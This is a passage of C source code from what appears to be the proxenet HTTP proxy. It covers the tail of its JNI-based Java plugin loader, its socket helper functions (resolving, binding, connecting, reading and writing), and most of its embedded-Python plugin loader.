&plugin->internal) < 0) 141 | goto detach_vm; 142 | 143 | /* check that Methods can be found in Class */ 144 | if(proxenet_java_get_method(env, plugin->internal, CFG_REQUEST_PLUGIN_FUNCTION, JAVA_PLUGIN_METHOD_SIGNATURE, &plugin->pre_function) < 0) 145 | goto detach_vm; 146 | 147 | if(proxenet_java_get_method(env, plugin->internal, CFG_RESPONSE_PLUGIN_FUNCTION, JAVA_PLUGIN_METHOD_SIGNATURE, &plugin->post_function) < 0) 148 | goto detach_vm; 149 | 150 | proxenet_java_get_method(env, plugin->internal, CFG_ONLOAD_PLUGIN_FUNCTION, JAVA_VOID_METHOD_SIGNATURE, &plugin->onload_function); 151 | proxenet_java_get_method(env, plugin->internal, CFG_ONLEAVE_PLUGIN_FUNCTION, JAVA_VOID_METHOD_SIGNATURE, &plugin->onleave_function); 152 | 153 | (*jvm)->DetachCurrentThread(jvm); 154 | 155 | if(plugin->onload_function) 156 | if (proxenet_execute_onload_method(plugin) < 0){ 157 | xlog_java(LOG_ERROR, "An error occured on %s.onload()\n", plugin->name); 158 | } 159 | 160 | return 0; 161 | 162 | detach_vm: 163 | (*jvm)->DetachCurrentThread(jvm); 164 | return -1; 165 | } 166 | 167 | 168 | /** 169 | * 170 | */ 171 | int proxenet_java_initialize_vm(plugin_t* plugin) 172 | { 173 | int ret; 174 | JavaVMInitArgs vm_args; 175 | JavaVMOption options; 176 | proxenet_jvm_t *pxnt_jvm; 177 | char java_classpath_option[256] = {0, }; 178 | 179 | if (plugin->interpreter->ready) 180 | return 0; 181 | 182 | pxnt_jvm = proxenet_xmalloc(sizeof(proxenet_jvm_t)); 183 | 184 | ret = proxenet_xsnprintf(java_classpath_option, sizeof(java_classpath_option), 185 | "-Djava.class.path=%s", cfg->plugins_path); 186 | if (ret < 0) 187 | return -1; 188 | 189 | options.optionString = java_classpath_option; 190 | 191 | #if (_JAVA_MINOR_ == 8) 192 | vm_args.version = JNI_VERSION_1_8; 193 | #elif (_JAVA_MINOR_ == 7) || (_JAVA_MINOR_ == 6) 194 | vm_args.version = JNI_VERSION_1_6; 195 | #endif 196 | 197 | vm_args.nOptions = 1; 198 | vm_args.options = &options; 199 | vm_args.ignoreUnrecognized = JNI_TRUE; 200 | 201 | ret = JNI_CreateJavaVM(&pxnt_jvm->jvm, (void**)&pxnt_jvm->env, &vm_args); 202 | if (ret != JNI_OK) { 203 | xlog_java(LOG_ERROR, "Failed to initialize JVM (%d)\n", ret); 204 | plugin->interpreter->ready = false; 205 | return -1; 206 | } 207 | 208 | #ifdef DEBUG 209 | xlog_java(LOG_DEBUG, "JVM created jvm=%#lx env=%#lx\n", pxnt_jvm->jvm, pxnt_jvm->env); 210 | #endif 211 | 212 | plugin->interpreter->vm = (void*)pxnt_jvm; 213 | plugin->interpreter->ready = true; 214 | 215 | return 0; 216 | } 217 | 218 | 219 | 220 | /** 221 | * Disable the Java plugin, invoke onleave() function (if any), and deallocate 222 | * plugin structures. 223 | */ 224 | int proxenet_java_destroy_plugin(plugin_t* plugin) 225 | { 226 | proxenet_plugin_set_state(plugin, INACTIVE); 227 | 228 | if (plugin->onleave_function) 229 | if (proxenet_execute_onleave_method(plugin) < 0){ 230 | xlog_java(LOG_ERROR, "An error occured on %s.onleave()\n", plugin->name); 231 | } 232 | 233 | plugin->pre_function = NULL; 234 | plugin->post_function = NULL; 235 | plugin->onload_function = NULL; 236 | plugin->onleave_function = NULL; 237 | 238 | return 0; 239 | } 240 | 241 | 242 | /** 243 | * 244 | */ 245 | int proxenet_java_destroy_vm(interpreter_t* interpreter) 246 | { 247 | proxenet_jvm_t *pxnt_jvm; 248 | JavaVM *jvm; 249 | 250 | pxnt_jvm = (proxenet_jvm_t*) interpreter->vm; 251 | jvm = (JavaVM*) pxnt_jvm->jvm; 252 | 253 | (*jvm)->DestroyJavaVM(jvm); 254 | 255 | proxenet_xfree(interpreter->vm); 256 | interpreter->ready = false; 257 | interpreter->vm = NULL; 258 | 259 | return 0; 260 | } 261 | 262 | 263 | /** 264 | * 265 | */ 266 | static char* proxenet_java_execute_plugin_function(plugin_t* plugin, request_t *request) 267 | { 268 | char *buf, *uri, *meth; 269 | proxenet_jvm_t* pxnt_jvm; 270 | 271 | JavaVM* jvm; 272 | JNIEnv *env; 273 | jclass jcls; 274 | jmethodID jmid; 275 | 276 | jint jrid; 277 | jbyteArray jreq; 278 | jstring juri; 279 | jbyteArray jret; 280 | jsize jretlen; 281 | jbyte *jret2; 282 | jboolean is_copy; 283 | 284 | buf = NULL; 285 | 286 | uri = request->http_infos.uri; 287 | if (!uri) 288 | return NULL; 289 | 290 | 291 | /* get method id inside the JVM */ 292 | pxnt_jvm = (proxenet_jvm_t*)plugin->interpreter->vm; 293 | jvm = pxnt_jvm->jvm; 294 | (*jvm)->AttachCurrentThread(jvm, (void**)&env, NULL); 295 | 296 | if (request->type==REQUEST){ 297 | meth = CFG_REQUEST_PLUGIN_FUNCTION; 298 | jcls = (jclass)plugin->internal; 299 | jmid = (jmethodID)plugin->pre_function; 300 | } else { 301 | meth = CFG_RESPONSE_PLUGIN_FUNCTION; 302 | jcls = (jclass)plugin->internal; 303 | jmid = (jmethodID)plugin->post_function; 304 | } 305 | 306 | #ifdef DEBUG 307 | xlog_java(LOG_DEBUG, "'%s:%s' -> jvm=%#lx env=%#lx jcls=%#lx jmid=%#lx\n", 308 | plugin->name, meth, jvm, env, jcls, jmid); 309 | #endif 310 | 311 | /* prepare the arguments */ 312 | jrid = request->id; 313 | jreq = (*env)->NewByteArray(env, request->size); 314 | (*env)->SetByteArrayRegion(env, jreq, 0, request->size, (jbyte*)request->data); 315 | juri = (*env)->NewStringUTF(env, uri); 316 | 317 | #ifdef DEBUG 318 | xlog_java(LOG_DEBUG, "'%s:%s' -> jrid=%#lx jreq=%#lx juri=%#lx\n", 319 | plugin->name, meth, jrid, jreq, juri); 320 | #endif 321 | 322 | /* call the method id */ 323 | jret = (*env)->CallStaticObjectMethod(env, jcls, jmid, jrid, jreq, juri); 324 | if(!jret){ 325 | xlog_java(LOG_ERROR, "An error occured when invoking '%s.%s()'\n", plugin->name, meth); 326 | goto end; 327 | } 328 | 329 | jretlen = (*env)->GetArrayLength(env, jret); 330 | jret2 = (*env)->GetByteArrayElements(env, jret, &is_copy); 331 | 332 | 333 | /* treat the result */ 334 | buf = proxenet_xstrdup((char*)jret2, jretlen); 335 | if (!buf) 336 | goto end; 337 | 338 | request->size = jretlen; 339 | 340 | end: 341 | (*jvm)->DetachCurrentThread(jvm); 342 | 343 | return buf; 344 | } 345 | 346 | /** 347 | * 348 | */ 349 | static inline void proxenet_java_lock_vm(interpreter_t *interpreter) 350 | { 351 | pthread_mutex_lock(&interpreter->mutex); 352 | } 353 | 354 | 355 | /** 356 | * 357 | */ 358 | static inline void proxenet_java_unlock_vm(interpreter_t *interpreter) 359 | { 360 | pthread_mutex_unlock(&interpreter->mutex); 361 | } 362 | 363 | 364 | /** 365 | * 366 | */ 367 | char* proxenet_java_plugin(plugin_t* plugin, request_t *request) 368 | { 369 | char* buf = NULL; 370 | interpreter_t *interpreter = plugin->interpreter; 371 | 372 | proxenet_java_lock_vm(interpreter); 373 | buf = proxenet_java_execute_plugin_function(plugin, request); 374 | proxenet_java_unlock_vm(interpreter); 375 | 376 | return buf; 377 | } 378 | 379 | #endif /* _JAVA_PLUGIN */ 380 | -------------------------------------------------------------------------------- /socket.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "core.h" 16 | #include "socket.h" 17 | #include "utils.h" 18 | #include "string.h" 19 | #include "errno.h" 20 | #include "main.h" 21 | #include "ssl.h" 22 | #include "control-server.h" 23 | 24 | 25 | /** 26 | * DNS solve a host name to its IP address. If `type` argument is -1, IP address 27 | * return can be of any type (AF_INET or AF_INET6). If type is specified and solved 28 | * type do not match, return an error. 29 | * 30 | * @param host name to solve 31 | * @param IP address type to enforce, -1 for any type 32 | * @return a pointer to the IP address, or NULL if an error occured 33 | */ 34 | char* proxenet_resolve_hostname(char* hostname, int type) 35 | { 36 | struct hostent *hostent; 37 | 38 | hostent = gethostbyname(hostname); 39 | if(!hostent){ 40 | xlog(LOG_ERROR, "Failed to solve '%s': %s\n", hostname, strerror(h_errno)); 41 | return NULL; 42 | } 43 | 44 | if( (type != -1) && (type != hostent->h_addrtype) ){ 45 | xlog(LOG_ERROR, "IP address type wanted (%d) does not match the received (%d)\n", type, hostent->h_addrtype); 46 | return NULL; 47 | } 48 | 49 | return hostent->h_addr_list[0]; 50 | } 51 | 52 | /** 53 | * 54 | */ 55 | sock_t proxenet_bind_control_socket() 56 | { 57 | sock_t control_sock = -1; 58 | struct sockaddr_un sun_local; 59 | 60 | proxenet_xzero(&sun_local, sizeof(struct sockaddr_un)); 61 | 62 | /* create control socket */ 63 | control_sock = socket(AF_UNIX, SOCK_STREAM, 0); 64 | if (control_sock < 0) { 65 | return -1; 66 | } 67 | 68 | sun_local.sun_family = AF_UNIX; 69 | strcpy(sun_local.sun_path, CFG_CONTROL_SOCK_PATH); 70 | unlink(sun_local.sun_path); 71 | 72 | /* and bind+listen */ 73 | if ( (bind(control_sock, (struct sockaddr *)&sun_local, SUN_LEN(&sun_local)) < 0) || 74 | (listen(control_sock, 1) < 0 ) ) { 75 | close(control_sock); 76 | return -1; 77 | } 78 | 79 | xlog(LOG_INFO, "Control interface listening on '%s'\n", sun_local.sun_path); 80 | return control_sock; 81 | } 82 | 83 | 84 | /** 85 | * 86 | * @param host 87 | * @param srv 88 | */ 89 | sock_t proxenet_bind_socket(char *host, char* port) 90 | { 91 | sock_t sock; 92 | struct addrinfo hostinfo, *res, *ll; 93 | int retcode, reuseaddr_on; 94 | 95 | memset(&hostinfo, 0, sizeof(struct addrinfo)); 96 | hostinfo.ai_family = cfg->ip_version; 97 | hostinfo.ai_socktype = SOCK_STREAM; 98 | hostinfo.ai_flags = 0; 99 | hostinfo.ai_protocol = IPPROTO_TCP; 100 | 101 | sock = -1; 102 | retcode = getaddrinfo(host, port, &hostinfo, &res); 103 | if (retcode != 0) { 104 | xlog(LOG_ERROR, "getaddrinfo('%s:%s') failed: %s\n", host, port, gai_strerror(retcode)); 105 | freeaddrinfo(res); 106 | return -1; 107 | } 108 | 109 | /* find a good socket to bind to */ 110 | for (ll=res; ll; ll=ll->ai_next) { 111 | sock = socket(ll->ai_family, ll->ai_socktype, ll->ai_protocol); 112 | if (sock == -1) continue; 113 | 114 | /* enable address reuse */ 115 | reuseaddr_on = true; 116 | retcode = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, 117 | &reuseaddr_on, sizeof(reuseaddr_on)); 118 | if (retcode < 0){ 119 | if (cfg->verbose) 120 | xlog(LOG_ERROR, "setsockopt failed: %s\n", strerror(retcode)); 121 | freeaddrinfo(res); 122 | return -1; 123 | } 124 | 125 | /* and bind */ 126 | if (bind(sock, ll->ai_addr, ll->ai_addrlen) == 0) break; 127 | } 128 | 129 | freeaddrinfo(res); 130 | 131 | if (!ll || sock == -1) { 132 | xlog(LOG_ERROR, "Failed to bind '%s:%s'\n", host, port); 133 | return -1; 134 | } 135 | 136 | /* start to listen */ 137 | retcode = listen(sock, MAX_CONN_SIZE); 138 | if (retcode < 0) { 139 | xlog(LOG_ERROR, "listen: %s", strerror(errno)); 140 | close(sock); 141 | return -1; 142 | } 143 | 144 | xlog(LOG_INFO, "Listening on %s:%s\n", host, port); 145 | return sock; 146 | } 147 | 148 | 149 | /** 150 | * 151 | * @param host 152 | * @param port 153 | */ 154 | sock_t proxenet_open_socket(char *host, char* port) 155 | { 156 | sock_t sock; 157 | struct addrinfo hostinfo, *res, *ll; 158 | int retcode, keepalive_val; 159 | unsigned short num_attempt = 0; 160 | 161 | sock = -1; 162 | memset(&hostinfo, 0, sizeof(struct addrinfo)); 163 | hostinfo.ai_family = cfg->ip_version; 164 | hostinfo.ai_socktype = SOCK_STREAM; 165 | hostinfo.ai_flags = 0; 166 | hostinfo.ai_protocol = IPPROTO_TCP; 167 | 168 | struct timeval timeout = { 169 | .tv_sec = HTTP_TIMEOUT_SOCK, 170 | .tv_usec = 0 171 | }; 172 | 173 | /* get host info */ 174 | retcode = getaddrinfo(host, port, &hostinfo, &res); 175 | if ( retcode < 0 ) { 176 | xlog(LOG_ERROR, "getaddrinfo('%s:%s') failed: %s\n", host, port, gai_strerror(retcode)); 177 | return -1; 178 | } 179 | 180 | /* look for available socket */ 181 | for (ll=res; ll; ll=ll->ai_next) { 182 | sock = socket(ll->ai_family, ll->ai_socktype, ll->ai_protocol); 183 | if (sock == -1) continue; 184 | 185 | /* setting socket as keep-alive */ 186 | keepalive_val = true; 187 | retcode = setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, &keepalive_val, sizeof(keepalive_val)); 188 | if (retcode < 0){ 189 | xlog(LOG_ERROR, "setsockopt(SO_KEEPALIVE) failed: %s\n", strerror(retcode)); 190 | return -1; 191 | } 192 | 193 | /* setting receive timeout */ 194 | retcode = setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); 195 | if (retcode < 0){ 196 | xlog(LOG_ERROR, "setsockopt(SO_RCVTIMEO) failed: %s\n", 197 | strerror(retcode)); 198 | return -1; 199 | } 200 | 201 | /* setting sending timeout */ 202 | retcode = setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); 203 | if (retcode < 0){ 204 | xlog(LOG_ERROR, "setsockopt(SO_SNDTIMEO) failed: %s\n", 205 | strerror(retcode)); 206 | return -1; 207 | } 208 | 209 | /* connect time */ 210 | if (connect(sock, ll->ai_addr, ll->ai_addrlen) == 0) { 211 | if (cfg->verbose > 1) 212 | xlog(LOG_INFO, "connect() to '%s:%s' succeeded: sock=#%d\n", 213 | host, port, sock); 214 | break; 215 | } else { 216 | num_attempt++; 217 | xlog(LOG_ERROR, "connect to '%s:%s' failed (%d/%d): %s\n", 218 | host, port, num_attempt, MAX_CONNECT_ATTEMPT, strerror(errno)); 219 | if(num_attempt==MAX_CONNECT_ATTEMPT){ 220 | sock = -1; 221 | break; 222 | } 223 | } 224 | 225 | close(sock); 226 | sock = -1; 227 | } 228 | 229 | if (!ll || sock < 0) { 230 | if (errno) 231 | xlog(LOG_ERROR, "%s (%d)\n", strerror(errno), errno); 232 | else 233 | xlog(LOG_ERROR, "%s\n", "Unknown socket error"); 234 | } else { 235 | if (cfg->verbose) 236 | xlog(LOG_INFO, "Established socket to '%s:%s': #%d\n", host, port, sock); 237 | } 238 | 239 | freeaddrinfo(res); 240 | 241 | return sock; 242 | } 243 | 244 | 245 | /** 246 | * 247 | * @param sock 248 | */ 249 | static int close_socket(sock_t sock) 250 | { 251 | int ret; 252 | 253 | ret = close(sock); 254 | if (ret < 0) 255 | xlog(LOG_ERROR, "Error while closing fd %d: %s\n", sock, strerror(errno)); 256 | 257 | return ret; 258 | } 259 | 260 | 261 | /** 262 | * Wrapper to close socket. 263 | * 264 | * @param sock 265 | */ 266 | int proxenet_close_socket(sock_t sock, ssl_atom_t* ssl) 267 | { 268 | int rc = close_socket(sock); 269 | 270 | if (ssl){ 271 | if(ssl->is_valid) { 272 | proxenet_ssl_finish(ssl); 273 | proxenet_ssl_free_structs(ssl); 274 | } 275 | } 276 | 277 | return rc; 278 | } 279 | 280 | 281 | /* 282 | * proxenet I/O operations on socket 283 | */ 284 | 285 | /** 286 | * 287 | */ 288 | static ssize_t proxenet_ioctl(ssize_t (*func)(), sock_t sock, void *buf, size_t count) { 289 | int retcode = (*func)(sock, buf, count); 290 | if (retcode < 0) { 291 | xlog(LOG_ERROR, "Error while I/O plaintext data: %s\n", strerror(errno)); 292 | return -1; 293 | } 294 | 295 | return retcode; 296 | } 297 | 298 | 299 | /** 300 | * proxenet plain-text read() primitive 301 | */ 302 | ssize_t proxenet_read(sock_t sock, void *buf, size_t count) 303 | { 304 | ssize_t (*func)() = &read; 305 | return proxenet_ioctl(func, sock, buf, count); 306 | } 307 | 308 | 309 | /** 310 | * proxenet plain-text write() primitive 311 | */ 312 | ssize_t proxenet_write(sock_t sock, void *buf, size_t count) 313 | { 314 | ssize_t (*func)() = &write; 315 | return proxenet_ioctl(func, sock, buf, count); 316 | } 317 | 318 | 319 | /** 320 | * Read all the data pending in the socket. 321 | * The buffer with the data is allocated by proxenet_read_all() and *MUST* be free-ed 322 | * by the caller. 323 | * 324 | * @return the number of bytes read, or -1 if an error occured 325 | */ 326 | int proxenet_read_all(sock_t sock, char** ptr, proxenet_ssl_context_t* ssl) 327 | { 328 | int ret = 0; 329 | unsigned int total_bytes_read = 0; 330 | size_t malloced_size = sizeof(char) * MAX_READ_SIZE; 331 | char *data, *current_offset; 332 | 333 | current_offset = NULL; 334 | *ptr = NULL; 335 | 336 | data = (char*)proxenet_xmalloc(malloced_size+1); 337 | 338 | while (true) { 339 | current_offset = data + total_bytes_read; 340 | 341 | if (ssl) { 342 | /* ssl */ 343 | ret = proxenet_ssl_read(ssl, current_offset, MAX_READ_SIZE); 344 | } else { 345 | /* plaintext */ 346 | ret = proxenet_read(sock, current_offset, MAX_READ_SIZE); 347 | } 348 | if (ret < 0) { 349 | proxenet_xfree(data); 350 | xlog(LOG_ERROR, "read(%d) = %d\n", sock, ret); 351 | return ret; 352 | } 353 | 354 | total_bytes_read += ret; 355 | 356 | if (ret == MAX_READ_SIZE) { 357 | /* may be more data to come */ 358 | malloced_size += sizeof(char) * MAX_READ_SIZE; 359 | data = (char*)proxenet_xrealloc(data, malloced_size+1); 360 | #ifdef DEBUG 361 | xlog(LOG_DEBUG, "Increasing recv buf size to %d\n", malloced_size+1); 362 | #endif 363 | continue; 364 | } 365 | 366 | break; 367 | } 368 | 369 | if (total_bytes_read == 0) { 370 | proxenet_xfree(data); 371 | return -ENODATA; 372 | } 373 | 374 | *ptr = data; 375 | 376 | return total_bytes_read; 377 | } 378 | 379 | 380 | /** 381 | * Obtain the IP address from a socket descriptor. 382 | * 383 | * @return -1 on error, 0 on success 384 | */ 385 | int get_ip_address_from_fd(unsigned char* ip, int iplen, sock_t fd) 386 | { 387 | struct sockaddr_in addr; 388 | socklen_t addrlen; 389 | int res; 390 | 391 | addrlen = sizeof(struct sockaddr_in); 392 | res = getpeername(fd, (struct sockaddr *)&addr, &addrlen); 393 | if(res){ 394 | xlog(LOG_ERROR, "getpeername() failed with %d\n", res); 395 | return -1; 396 | } 397 | if(iplen < 1) 398 | return -1; 399 | 400 | strncpy((char*)ip, inet_ntoa(addr.sin_addr), iplen-1); 401 | 402 | return 0; 403 | } 404 | 405 | 406 | /** 407 | * Obtain the port associated with the given socket descriptor. 408 | * 409 | * @return -1 on error, the port number on success 410 | */ 411 | int get_port_from_fd(sock_t fd) 412 | { 413 | struct sockaddr_in addr; 414 | socklen_t addrlen; 415 | int res; 416 | 417 | addrlen = sizeof(struct sockaddr_in); 418 | res = getpeername(fd, (struct sockaddr *)&addr, &addrlen); 419 | if(res){ 420 | xlog(LOG_ERROR, "getpeername() failed with %d\n", res); 421 | return -1; 422 | } 423 | 424 | return addr.sin_port; 425 | } 426 | -------------------------------------------------------------------------------- /plugin-python.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _PYTHON_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * Python plugin implementation 10 | * 11 | * tested on 12 | * - CPython2.6 13 | * - CPython2.7 14 | * - CPython3.3 15 | * 16 | */ 17 | 18 | #include 19 | #include 20 | #include 21 | 22 | 23 | #include "core.h" 24 | #include "main.h" 25 | #include "plugin.h" 26 | #include "utils.h" 27 | #include "plugin-python.h" 28 | 29 | #if _PYTHON_MAJOR_ == 3 30 | #define PYTHON_FROMSTRING PyUnicode_FromString 31 | #define PYTHON_VALUE_FORMAT "iy#y" 32 | 33 | # else /* _PYTHON2_ */ 34 | #define PYTHON_FROMSTRING PyString_FromString 35 | #define PYTHON_VALUE_FORMAT "is#s" 36 | 37 | #endif 38 | 39 | #define xlog_python(t, ...) xlog(t, "["_PYTHON_VERSION_"] " __VA_ARGS__) 40 | 41 | 42 | /** 43 | * 44 | */ 45 | static int proxenet_python_append_path() 46 | { 47 | PyObject *pPath, *pAddPath; 48 | int retcode = 0; 49 | 50 | pPath = PySys_GetObject("path"); 51 | if (!pPath) { 52 | xlog_python(LOG_ERROR, "%s\n", "Failed to find `sys.path'"); 53 | return -1; 54 | } 55 | 56 | if (!PyList_Check(pPath)) { 57 | return -1; 58 | } 59 | 60 | pAddPath = PYTHON_FROMSTRING(cfg->plugins_path); 61 | if (!pAddPath) { 62 | return -1; 63 | } 64 | 65 | if (PyList_Insert(pPath, 0, pAddPath) < 0) { 66 | retcode = -1; 67 | } 68 | Py_DECREF(pAddPath); 69 | 70 | return retcode; 71 | } 72 | 73 | 74 | /** 75 | * 76 | */ 77 | int proxenet_python_initialize_vm(plugin_t* plugin) 78 | { 79 | interpreter_t *interpreter = plugin->interpreter; 80 | PyThreadState* oldctx; 81 | int retcode; 82 | 83 | /* is vm initialized ? */ 84 | if (interpreter->ready && plugin->internal ) 85 | return 0; 86 | 87 | if (!interpreter->ready){ 88 | #ifdef DEBUG 89 | xlog_python(LOG_DEBUG, "Initializing VM version %s\n", _PYTHON_VERSION_); 90 | #endif 91 | Py_Initialize(); 92 | PyEval_InitThreads(); 93 | } 94 | 95 | if (Py_IsInitialized()==false || PyEval_ThreadsInitialized()==false) { 96 | xlog_python(LOG_CRITICAL, "%s\n", "An error occured during initialization"); 97 | plugin->internal = NULL; 98 | interpreter->vm = NULL; 99 | interpreter->ready = false; 100 | return -1; 101 | } 102 | 103 | #ifdef DEBUG 104 | xlog_python(LOG_DEBUG, "Initializing sub-interpreter for '%s'\n", plugin->name); 105 | #endif 106 | 107 | oldctx = PyThreadState_Get(); 108 | if (!oldctx){ 109 | xlog_python(LOG_CRITICAL, "%s\n", "Failed to get current PythonThread context."); 110 | plugin->internal = NULL; 111 | interpreter->vm = NULL; 112 | interpreter->ready = false; 113 | return -1; 114 | } 115 | 116 | plugin->internal = Py_NewInterpreter(); 117 | if(!plugin->internal){ 118 | xlog_python(LOG_CRITICAL, "%s\n", "Failed to create sub-interpreter."); 119 | plugin->internal = NULL; 120 | interpreter->vm = NULL; 121 | interpreter->ready = false; 122 | return -1; 123 | } 124 | 125 | 126 | PyThreadState_Swap( plugin->internal ); 127 | 128 | if (proxenet_python_append_path() < 0) { 129 | xlog_python(LOG_CRITICAL, "%s\n", "Failed to append plugins directory to sys.path"); 130 | Py_Finalize(); 131 | interpreter->vm = NULL; 132 | interpreter->ready = false; 133 | retcode = -1; 134 | } else { 135 | interpreter->ready = true; 136 | retcode = 0; 137 | } 138 | 139 | PyThreadState_Swap( oldctx ); 140 | 141 | return retcode; 142 | } 143 | 144 | 145 | /** 146 | * 147 | */ 148 | int proxenet_python_destroy_plugin(plugin_t* plugin) 149 | { 150 | PyThreadState* oldctx; 151 | PyObject *pResult; 152 | 153 | proxenet_plugin_set_state(plugin, INACTIVE); 154 | 155 | if (plugin->onleave_function){ 156 | pResult = PyObject_CallObject(plugin->onleave_function, NULL); 157 | if (!pResult || PyErr_Occurred()){ 158 | xlog_python(LOG_WARNING, "%s\n", "PyObject_CallObject() failed."); 159 | PyErr_Print(); 160 | } 161 | } 162 | 163 | Py_DECREF(plugin->pre_function); 164 | Py_DECREF(plugin->post_function); 165 | 166 | oldctx = PyThreadState_Get(); 167 | PyThreadState_Swap( plugin->internal ); 168 | Py_EndInterpreter( plugin->internal ); 169 | PyThreadState_Swap( oldctx ); 170 | 171 | return 0; 172 | } 173 | 174 | 175 | /** 176 | * 177 | */ 178 | int proxenet_python_destroy_vm(interpreter_t* interpreter) 179 | { 180 | if (!Py_IsInitialized()) { 181 | xlog_python(LOG_CRITICAL, "%s\n", "Python VM should not be uninitialized here"); 182 | return -1; 183 | } 184 | 185 | Py_Finalize(); 186 | 187 | if (!Py_IsInitialized()){ 188 | interpreter->ready = false; 189 | } else { 190 | return -1; 191 | } 192 | 193 | return 0; 194 | } 195 | 196 | 197 | /** 198 | * 199 | */ 200 | static int proxenet_python_initialize_function(plugin_t* plugin, char* function_name, PyObject** pFunc) 201 | { 202 | char* module_name; 203 | PyObject *pModStr, *pMod; 204 | 205 | module_name = plugin->name; 206 | pModStr = PYTHON_FROMSTRING(module_name); 207 | if (!pModStr) { 208 | PyErr_Print(); 209 | return -1; 210 | } 211 | 212 | pMod = PyImport_Import(pModStr); 213 | if(!pMod) { 214 | xlog_python(LOG_ERROR, "Failed to import '%s'\n", module_name); 215 | Py_DECREF(pModStr); 216 | return -1; 217 | } 218 | 219 | Py_DECREF(pModStr); 220 | 221 | #ifdef DEBUG 222 | xlog_python(LOG_DEBUG, "Importing '%s.%s'\n", module_name, function_name); 223 | #endif 224 | 225 | /* find reference to function in module */ 226 | *pFunc = PyObject_GetAttrString(pMod, function_name); 227 | if (!*pFunc) { 228 | PyErr_Print(); 229 | return -1; 230 | } 231 | 232 | if (!PyCallable_Check(*pFunc)) { 233 | xlog_python(LOG_ERROR, "Object in %s is not callable\n", module_name); 234 | return -1; 235 | } 236 | 237 | return 0; 238 | } 239 | 240 | 241 | /** 242 | * 243 | */ 244 | static int proxenet_python_init_request_function(plugin_t* plugin) 245 | { 246 | PyObject* pFunc; 247 | 248 | if (plugin->pre_function) 249 | return 0; 250 | 251 | if (proxenet_python_initialize_function(plugin, CFG_REQUEST_PLUGIN_FUNCTION, &pFunc) < 0) 252 | return -1; 253 | 254 | plugin->pre_function = pFunc; 255 | return 0; 256 | } 257 | 258 | 259 | /** 260 | * 261 | */ 262 | static int proxenet_python_init_response_function(plugin_t* plugin) 263 | { 264 | PyObject* pFunc; 265 | 266 | if (plugin->post_function) 267 | return 0; 268 | 269 | if (proxenet_python_initialize_function(plugin, CFG_RESPONSE_PLUGIN_FUNCTION, &pFunc) < 0) 270 | return -1; 271 | 272 | plugin->post_function = pFunc; 273 | return 0; 274 | } 275 | 276 | 277 | /** 278 | * 279 | */ 280 | static int proxenet_python_init_onload_function(plugin_t* plugin) 281 | { 282 | PyObject *pFunc, *pResult; 283 | 284 | if (proxenet_python_initialize_function(plugin, CFG_ONLOAD_PLUGIN_FUNCTION, &pFunc) < 0){ 285 | xlog_python(LOG_WARNING, "Failed to load '%s()' function\n", CFG_ONLOAD_PLUGIN_FUNCTION); 286 | return -1; 287 | } 288 | 289 | plugin->onload_function = pFunc; 290 | 291 | pResult = PyObject_CallObject(plugin->onload_function, NULL); 292 | if (!pResult || PyErr_Occurred()){ 293 | xlog_python(LOG_ERROR, "%s\n", "PyObject_CallObject() failed."); 294 | PyErr_Print(); 295 | return -1; 296 | } 297 | 298 | return 0; 299 | } 300 | 301 | 302 | /** 303 | * 304 | */ 305 | static int proxenet_python_init_onleave_function(plugin_t* plugin) 306 | { 307 | PyObject *pFunc; 308 | 309 | if (proxenet_python_initialize_function(plugin, CFG_ONLEAVE_PLUGIN_FUNCTION, &pFunc) < 0){ 310 | xlog_python(LOG_WARNING, "Failed to load '%s()' function\n", CFG_ONLEAVE_PLUGIN_FUNCTION); 311 | return -1; 312 | } 313 | 314 | plugin->onleave_function = pFunc; 315 | 316 | return 0; 317 | } 318 | 319 | 320 | /** 321 | * 322 | */ 323 | int proxenet_python_load_file(plugin_t* plugin) 324 | { 325 | PyThreadState* oldctx; 326 | int retcode = 0; 327 | 328 | oldctx = PyThreadState_Get(); 329 | if (!oldctx){ 330 | xlog_python(LOG_CRITICAL, "%s\n", "Failed to get current PythonThread context."); 331 | return -1; 332 | } 333 | 334 | PyThreadState_Swap( plugin->internal ); 335 | 336 | proxenet_python_init_onload_function(plugin); 337 | proxenet_python_init_onleave_function(plugin); 338 | 339 | 340 | if (proxenet_python_init_request_function(plugin) < 0){ 341 | xlog_python(LOG_ERROR, "Failed to initialize '%s.%s'\n", 342 | plugin->name, CFG_REQUEST_PLUGIN_FUNCTION); 343 | retcode = -1; 344 | } 345 | 346 | if (proxenet_python_init_response_function(plugin) < 0) { 347 | xlog_python(LOG_ERROR, "Failed to initialize '%s.%s'\n", 348 | plugin->name, CFG_RESPONSE_PLUGIN_FUNCTION); 349 | retcode = -1; 350 | } 351 | 352 | PyThreadState_Swap( oldctx ); 353 | 354 | return retcode; 355 | } 356 | 357 | 358 | /** 359 | * 360 | */ 361 | static char* proxenet_python_execute_function(PyObject* pFuncRef, request_t *request) 362 | { 363 | PyObject *pArgs, *pResult; 364 | char *buffer, *result; 365 | int ret; 366 | Py_ssize_t len; 367 | char *uri = request->http_infos.uri; 368 | 369 | buffer = NULL; 370 | len = -1; 371 | 372 | pArgs = Py_BuildValue(PYTHON_VALUE_FORMAT, request->id, request->data, request->size, uri); 373 | if (!pArgs) { 374 | xlog_python(LOG_ERROR, "%s\n", "Py_BuildValue() failed."); 375 | PyErr_Print(); 376 | return NULL; 377 | } 378 | 379 | pResult = PyObject_CallObject(pFuncRef, pArgs); 380 | if (!pResult || PyErr_Occurred()){ 381 | xlog_python(LOG_ERROR, "%s\n", "PyObject_CallObject() failed."); 382 | PyErr_Print(); 383 | return NULL; 384 | } 385 | 386 | if (PyBytes_Check(pResult)) { 387 | ret = PyBytes_AsStringAndSize(pResult, &buffer, &len); 388 | if (ret<0) { 389 | PyErr_Print(); 390 | result = NULL; 391 | 392 | } else { 393 | result = proxenet_xstrdup(buffer, len); 394 | request->size = len; 395 | request->data = result; 396 | } 397 | 398 | } else { 399 | #if _PYTHON_MAJOR_ == 3 400 | xlog_python(LOG_ERROR, 